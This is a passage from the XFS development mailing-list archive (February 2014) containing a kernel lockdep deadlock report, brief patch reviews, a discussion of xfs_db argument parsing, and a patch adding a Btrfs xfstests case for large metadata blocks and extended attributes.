autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AC2AB7CBE for ; Fri, 7 Feb 2014 18:46:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 95549304066 for ; Fri, 7 Feb 2014 16:46:47 -0800 (PST) X-ASG-Debug-ID: 1391820403-04cb6c6de31ad950001-NocioJ Received: from e8.ny.us.ibm.com (e8.ny.us.ibm.com [32.97.182.138]) by cuda.sgi.com with ESMTP id 6p06gR4BdquKCX7q (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 16:46:43 -0800 (PST) X-Barracuda-Envelope-From: cody@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.182.138 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.138] Received: from /spool/local by e8.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 7 Feb 2014 19:46:43 -0500 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.138] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.138] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.138] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.138] Received: from d01dlp02.pok.ibm.com (9.56.250.167) by e8.ny.us.ibm.com (192.168.1.108) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 7 Feb 2014 19:46:41 -0500 Received: from b01cxnp22035.gho.pok.ibm.com (b01cxnp22035.gho.pok.ibm.com [9.57.198.25]) by d01dlp02.pok.ibm.com (Postfix) with ESMTP id 9A7896E803A for ; Fri, 7 Feb 2014 19:46:36 -0500 (EST) Received: from d01av03.pok.ibm.com (d01av03.pok.ibm.com [9.56.224.217]) by b01cxnp22035.gho.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s180keqq6488364 for ; Sat, 8 Feb 2014 00:46:41 GMT Received: from d01av03.pok.ibm.com (localhost [127.0.0.1]) by d01av03.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id s180ke3E028073 for ; Fri, 7 Feb 2014 19:46:40 -0500 Received: from [9.80.95.14] ([9.80.95.14]) by d01av03.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id s180keO1028045 for ; Fri, 7 Feb 2014 19:46:40 -0500 Message-ID: <52F57E6C.10907@linux.vnet.ibm.com> Date: Fri, 07 Feb 2014 16:46:36 -0800 From: Cody P Schafer User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: lockdep warning in 3.14-rc1 Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: lockdep warning in 3.14-rc1 Content-Transfer-Encoding: 7bit X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 14020800-0320-0000-0000-00000269718B X-Barracuda-Connect: e8.ny.us.ibm.com[32.97.182.138] X-Barracuda-Start-Time: 1391820403 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Appears consistently during boot up. $ uname -a Linux hostname 3.14.0-rc1-24x7+ #8 SMP Fri Feb 7 15:32:43 CST 2014 ppc64 ppc64 ppc64 GNU/Linux [ 1.953983] audit: type=1403 audit(1391808989.120:3): policy loaded auid=4294967295 ses=4294967295 [ 1.957980] systemd[1]: Successfully loaded SELinux policy in 323.280ms. [ 2.048622] systemd[1]: Relabelled /dev and /run in 22.877ms. [ 2.080219] ====================================================== [ 2.080223] [ INFO: possible circular locking dependency detected ] [ 2.080227] 3.14.0-rc1-24x7+ #8 Tainted: G W [ 2.080230] ------------------------------------------------------- [ 2.080234] systemd/1 is trying to acquire lock: [ 2.080238] (&mm->mmap_sem){++++++}, at: [] .might_fault+0x78/0xe0 [ 2.080249] but task is already holding lock: [ 2.080253] (&(&ip->i_lock)->mr_lock){++++..}, at: [] .xfs_ilock+0x15c/0x1b0 [ 2.080262] which lock already depends on the new lock. [ 2.080267] the existing dependency chain (in reverse order) is: [ 2.080271] -> #1 (&(&ip->i_lock)->mr_lock){++++..}: [ 2.080278] -> #0 (&mm->mmap_sem){++++++}: [ 2.080284] other info that might help us debug this: [ 2.080289] Possible unsafe locking scenario: [ 2.080292] CPU0 CPU1 [ 2.080295] ---- ---- [ 2.080298] lock(&(&ip->i_lock)->mr_lock); [ 2.080303] lock(&mm->mmap_sem); [ 2.080307] lock(&(&ip->i_lock)->mr_lock); [ 2.080312] lock(&mm->mmap_sem); [ 2.080316] *** DEADLOCK *** [ 2.080321] 2 locks held by systemd/1: [ 2.080323] #0: (&type->i_mutex_dir_key#2){+.+.+.}, at: [] .iterate_dir+0xa0/0x160 [ 2.080334] #1: (&(&ip->i_lock)->mr_lock){++++..}, at: [] .xfs_ilock+0x15c/0x1b0 [ 2.080343] stack backtrace: [ 2.080348] CPU: 2 PID: 1 Comm: systemd Tainted: G W 3.14.0-rc1-24x7+ #8 [ 2.080353] Call Trace: [ 2.080357] [c0000001fa103370] [c000000000016590] .show_stack+0x170/0x290 (unreliable) [ 2.080364] [c0000001fa103460] [c000000000934f5c] .dump_stack+0xa0/0xdc [ 2.080370] [c0000001fa1034e0] [c00000000092b6b4] .print_circular_bug+0x364/0x39c [ 2.080376] [c0000001fa103590] [c00000000010ba70] .check_prev_add+0x8d0/0x8e0 [ 2.080381] [c0000001fa1036a0] [c00000000010c364] .validate_chain.isra.31+0x8e4/0xc40 [ 2.080386] [c0000001fa103790] [c00000000010de08] .__lock_acquire+0x488/0xd40 [ 2.080391] [c0000001fa1038b0] [c00000000010f08c] .lock_acquire+0xac/0x190 [ 2.080397] [c0000001fa103980] [c00000000021fe44] .might_fault+0xa4/0xe0 [ 2.080402] [c0000001fa1039f0] [c000000000297924] .filldir+0x1f4/0x290 [ 2.080407] [c0000001fa103ab0] [c0000000003cebc8] .xfs_dir2_block_getdents+0x218/0x2b0 [ 2.080413] [c0000001fa103b80] [c0000000003cf1e8] .xfs_readdir+0x168/0x1d0 [ 2.080418] [c0000001fa103c30] [c0000000003d2508] .xfs_file_readdir+0x48/0x80 [ 2.080423] [c0000001fa103cc0] [c0000000002974ec] .iterate_dir+0x11c/0x160 [ 2.080428] [c0000001fa103d60] [c000000000297df0] .SyS_getdents+0xa0/0x190 [ 2.080433] [c0000001fa103e30] [c00000000000a164] syscall_exit+0x0/0x98 From BATV+844a98a66f796a65b8c7+3821+infradead.org+hch@bombadil.srs.infradead.org Sat Feb 8 01:09:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2B9C57F3F for ; Sat, 8 Feb 2014 01:09:51 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 216878F8039 for ; Fri, 7 Feb 2014 23:09:48 -0800 (PST) X-ASG-Debug-ID: 1391843386-04cbb00c291b2080001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 68jxr4YyBFGKXZu5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 23:09:46 -0800 (PST) X-Barracuda-Envelope-From: BATV+844a98a66f796a65b8c7+3821+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WC22r-0006h0-OO; Sat, 08 Feb 2014 07:09:45 +0000 Date: Fri, 7 Feb 2014 23:09:45 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs/299: users can't modify root owned files Message-ID: <20140208070945.GA25719@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs/299: users can't modify root owned files References: <1391582431-2970-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391582431-2970-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391843386 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144935 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From BATV+844a98a66f796a65b8c7+3821+infradead.org+hch@bombadil.srs.infradead.org Sat Feb 8 01:10:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 41E3C7F3F for ; Sat, 8 Feb 2014 01:10:31 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 19ADC304066 for ; Fri, 7 Feb 2014 23:10:28 -0800 (PST) X-ASG-Debug-ID: 1391843426-04bdf0734c17f40001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id hXE7QKtwgNUeK5H8 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 23:10:26 -0800 (PST) X-Barracuda-Envelope-From: BATV+844a98a66f796a65b8c7+3821+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WC23W-0007me-R7; Sat, 08 Feb 2014 07:10:26 +0000 Date: Fri, 7 Feb 2014 23:10:26 -0800 From: Christoph Hellwig To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: remove XFS_TRANS_DEBUG dead code Message-ID: <20140208071026.GB25719@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: remove XFS_TRANS_DEBUG dead code References: <52F1065F.8040904@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F1065F.8040904@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391843426 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144935 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Feb 04, 2014 at 11:25:19PM +0800, Jeff Liu wrote: > From: Jie Liu > > Remove the leftover XFS_TRANS_DEBUG dead code following the previous > cleaning up of it in commits ec47eb6b0b450. Looks good, Reviewed-by: Christoph Hellwig From BATV+844a98a66f796a65b8c7+3821+infradead.org+hch@bombadil.srs.infradead.org Sat Feb 8 01:11:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 09FBC7F3F for ; Sat, 8 Feb 2014 01:11:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id F01FB8F8039 for ; Fri, 7 Feb 2014 23:11:01 -0800 (PST) X-ASG-Debug-ID: 1391843460-04cb6c6de11b5bb0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id BB8kEmKcABFFXcve (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Fri, 07 Feb 2014 23:11:00 -0800 (PST) X-Barracuda-Envelope-From: BATV+844a98a66f796a65b8c7+3821+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WC244-0007nC-0h; Sat, 08 Feb 2014 07:11:00 +0000 Date: Fri, 7 Feb 2014 23:11:00 -0800 From: Christoph Hellwig To: Ben Myers Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: ensure correct timestamp updates from truncate Message-ID: <20140208071100.GC25719@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: ensure correct timestamp updates from truncate References: <20140110122700.GA12624@localhost> <52CFF402.5080409@oracle.com> <20140110133306.GA22918@infradead.org> <52CFFD1C.7050005@oracle.com> <20140111111045.GA29380@infradead.org> <52E8FE81.7040402@redhat.com> <20140130080652.GA23758@infradead.org> <20140130154701.GP1935@sgi.com> <20140203102323.GC11829@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140203102323.GC11829@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391843460 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144935 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 03, 2014 at 02:23:23AM -0800, Christoph Hellwig wrote: > On Thu, Jan 30, 2014 at 09:47:01AM -0600, Ben Myers wrote: > > That is v3.13-rc2-14-gc91c46c, so I believe we'll want to Cc: stable on this > > one. Correct? We'll need to get it to Linus for 3.14 first, though. From david@fromorbit.com Sat Feb 8 02:30:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 77E8C7F3F for ; Sat, 8 Feb 2014 02:30:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6BFD28F8052 for ; Sat, 8 Feb 2014 00:30:20 -0800 (PST) X-ASG-Debug-ID: 1391848217-04cbb00c291b3b20001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id i5UBx6qyjrtYtnVk for ; Sat, 08 Feb 2014 00:30:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApcHAOvp9VJ5LGaB/2dsb2JhbABZgwyDPrcyhV+BCBd0giUBAQU6HCMQCAMYCSUPBSUDIROIBMxNFxaOZweEOASYKopQh1KDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail04.adl6.internode.on.net with ESMTP; 08 Feb 2014 19:00:15 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WC3Ii-0004tf-Ox; Sat, 08 Feb 2014 19:30:12 +1100 Date: Sat, 8 Feb 2014 19:30:12 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_db: fix the setting of unaligned directory fields Message-ID: <20140208083012.GI13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_db: fix the setting of unaligned directory fields References: <20140207210348.249387765@sgi.com> <20140207223327.GG13647@dastard> <52F56891.5020305@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F56891.5020305@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1391848217 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144936 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 07, 2014 at 05:13:21PM -0600, Mark Tinguely wrote: > On 02/07/14 16:33, Dave Chinner wrote: > >On Fri, Feb 07, 2014 at 04:03:42PM -0600, Mark Tinguely wrote: > >>@@ -526,16 +527,20 @@ convert_arg( > >> */ > >> *value = strtoll(arg, NULL, 0); > > > >If we are touching this code, the return value here should be error > >checked. > > > >xfs_db> write u3.bmx[0].startblock 3rgfdw > >u3.bmx[0].startblock = 52776558133248 > > hmm, It should stop at 3. I will take a look. Even if it stops at 3, that's still wrong because it's failed to process the entire user input.... > >xfs_db> write u3.bmx[0].startblock x3rgfdw > >u3.bmx[0].startblock = 0 > >xfs_db> > > > >i.e. it accepts garbage rather than erroring out. > > as does all the other writes ... > xfs_db> write core.nblocks x3rgfdw > core.nblocks = 0 > > Fixing convert_arg() is beyond the scope of just this patch. Sure, but I'm not asking you to fix all of convert_args in this patch, just asking you to do a complete job of fixing the bitval input processing in this patch. But, seeing as you've raised that convert_args() has other broken paths, can you also write new patches to address those issues? It won't take you long while all this code is fresh in your mind, and if you do it now it won't get dropped on the floor until somebody else hits it a couple of years down the track... Cheers, Dave. -- Dave Chinner david@fromorbit.com From koen.de.wit@oracle.com Sat Feb 8 02:30:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 62C877F3F for ; Sat, 8 Feb 2014 02:30:48 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 48AD08F8050 for ; Sat, 8 Feb 2014 00:30:48 -0800 (PST) X-ASG-Debug-ID: 1391848246-04cbb00c2a1b3b40001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id vy2O9Gx4jEOTNUjn (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 08 Feb 2014 00:30:46 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s188Ui3k022941 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 8 Feb 2014 08:30:45 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s188UixP011778 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 8 Feb 2014 08:30:44 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s188UiKp011772; Sat, 8 Feb 2014 08:30:44 GMT Received: from koen-obi.localdomain (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 08 Feb 2014 00:30:43 -0800 From: Koen De Wit To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Koen De Wit Subject: [PATCH v2] xfstests: Btrfs: add test for large metadata blocks Date: Sat, 8 Feb 2014 09:30:30 +0100 X-ASG-Orig-Subj: [PATCH v2] xfstests: Btrfs: add test for large metadata blocks Message-Id: <1391848230-26761-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391848246 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144936 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Tests Btrfs filesystems with all possible metadata block sizes, by setting large extended attributes on files. Signed-off-by: Koen De Wit --- v1->v2: - Fix indentation: 8 spaces instead of 4 - Move _scratch_unmount to end of loop, add _check_scratch_fs - Sending failure messages of mkfs.btrfs to output instead of $seqres.full diff --git a/tests/btrfs/036 b/tests/btrfs/036 new file mode 100644 index 0000000..b14697d --- /dev/null +++ b/tests/btrfs/036 @@ -0,0 +1,137 @@ +#! /bin/bash +# FS QA Test No. 036 +# +# Tests large metadata blocks in btrfs, which allows large extended +# attributes. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +status=1 # failure is the default! + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here + +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +rm -f $seqres.full + +pagesize=`$here/src/feature -s` +pagesize_kb=`expr $pagesize / 1024` + +# Test all valid leafsizes +for leafsize in `seq $pagesize_kb $pagesize_kb 64`; do + _scratch_mkfs -l ${leafsize}K >/dev/null + _scratch_mount + # Calculate the size of the extended attribute value, leaving + # 512 bytes for other metadata. + xattr_size=`expr $leafsize \* 1024 - 512` + + touch $SCRATCH_MNT/emptyfile + # smallfile will be inlined, bigfile not. + $XFS_IO_PROG -f -c "pwrite 0 100" $SCRATCH_MNT/smallfile \ + >/dev/null + $XFS_IO_PROG -f -c "pwrite 0 9000" $SCRATCH_MNT/bigfile \ + >/dev/null + ln -s $SCRATCH_MNT/bigfile $SCRATCH_MNT/bigfile_softlink + + files=(emptyfile smallfile bigfile bigfile_softlink) + chars=(a b c d) + for i in `seq 0 1 3`; do + char=${chars[$i]} + file=$SCRATCH_MNT/${files[$i]} + lnkfile=${file}_hardlink + ln $file $lnkfile + xattr_value=`head -c $xattr_size < /dev/zero \ + | tr '\0' $char` + + set_md5=`echo -n "$xattr_value" | md5sum` + ${ATTR_PROG} -Lq -s attr_$char -V $xattr_value $file + get_md5=`${ATTR_PROG} -Lq -g attr_$char $file | md5sum` + get_ln_md5=`${ATTR_PROG} -Lq -g attr_$char $lnkfile \ + | md5sum` + + # Using md5sums for comparison instead of the values + # themselves because bash command lines cannot be larger + # than 64K chars. + if [ "$set_md5" != "$get_md5" ]; then + echo -n "Got unexpected xattr value for " + echo -n "attr_$char from file ${file}. " + echo "(leafsize is ${leafsize}K)" + fi + if [ "$set_md5" != "$get_ln_md5" ]; then + echo -n "Value for attr_$char differs for " + echo -n "$file and ${lnkfile}. " + echo "(leafsize is ${leafsize}K)" + fi + done + + # Test attributes with a size larger than the leafsize. + # Should result in an error. + if [ "$leafsize" -lt "64" ]; then + # Bash command lines cannot be larger than 64K + # characters, so we do not test attribute values + # with a size >64KB. + xattr_size=`expr $leafsize \* 1024 + 512` + xattr_value=`head -c $xattr_size < /dev/zero | tr '\0' x` + ${ATTR_PROG} -q -s attr_toobig -V $xattr_value \ + $SCRATCH_MNT/emptyfile >> $seqres.full 2>&1 + if [ "$?" -eq "0" ]; then + echo -n "Expected error, xattr_size is bigger " + echo "than ${leafsize}K" + fi + fi + + _scratch_unmount >/dev/null 2>&1 + _check_scratch_fs +done + +_scratch_mount + +# Illegal attribute name (more than 256 characters) +attr_name=`head -c 260 < /dev/zero | tr '\0' n` +${ATTR_PROG} -s $attr_name -V attribute_name_too_big \ + $SCRATCH_MNT/emptyfile 2>&1 | head -n 1 + +_scratch_unmount + +_filter_size_numbers() { + sed "s/$pagesize/PAGESIZE/g" | sed "s/$1/LEAFSIZE/g" +} + +# Some illegal leafsizes +_scratch_mkfs -l 0 2>&1 | _filter_size_numbers 0 +_scratch_mkfs -l 5678 2>&1 | _filter_size_numbers 5678 +lsize=`expr $pagesize / 2 + $pagesize` +_scratch_mkfs -l $lsize 2>&1 | _filter_size_numbers $lsize +_scratch_mkfs -l 128K 2>&1 | _filter_size_numbers 131072 +_scratch_mkfs -l K + +# success, all done +status=0 +exit diff --git a/tests/btrfs/036.out b/tests/btrfs/036.out new file mode 100644 index 0000000..7e88d54 --- /dev/null +++ b/tests/btrfs/036.out @@ -0,0 +1,7 @@ +QA output created by 036 +attr_set: Invalid argument +Illegal leafsize (or nodesize) LEAFSIZE (smaller than PAGESIZE) +Illegal leafsize (or nodesize) LEAFSIZE (not align to PAGESIZE) +Illegal leafsize (or nodesize) LEAFSIZE (not align to PAGESIZE) +Illegal leafsize (or nodesize) LEAFSIZE (larger than 65536) +ERROR: size value is empty diff --git a/tests/btrfs/group b/tests/btrfs/group index f9f062f..2ca2225 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -37,3 +37,4 @@ 032 auto quick 033 auto quick 034 auto quick +036 auto quick -- 1.7.1 From koen.de.wit@oracle.com Sat Feb 8 02:31:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 390A67F55 for ; Sat, 8 Feb 2014 02:31:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E4348AC006 for ; Sat, 8 Feb 2014 00:30:57 -0800 (PST) X-ASG-Debug-ID: 1391848256-04bdf0734c19a40001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id bkNe1ImcTEEBVHu5 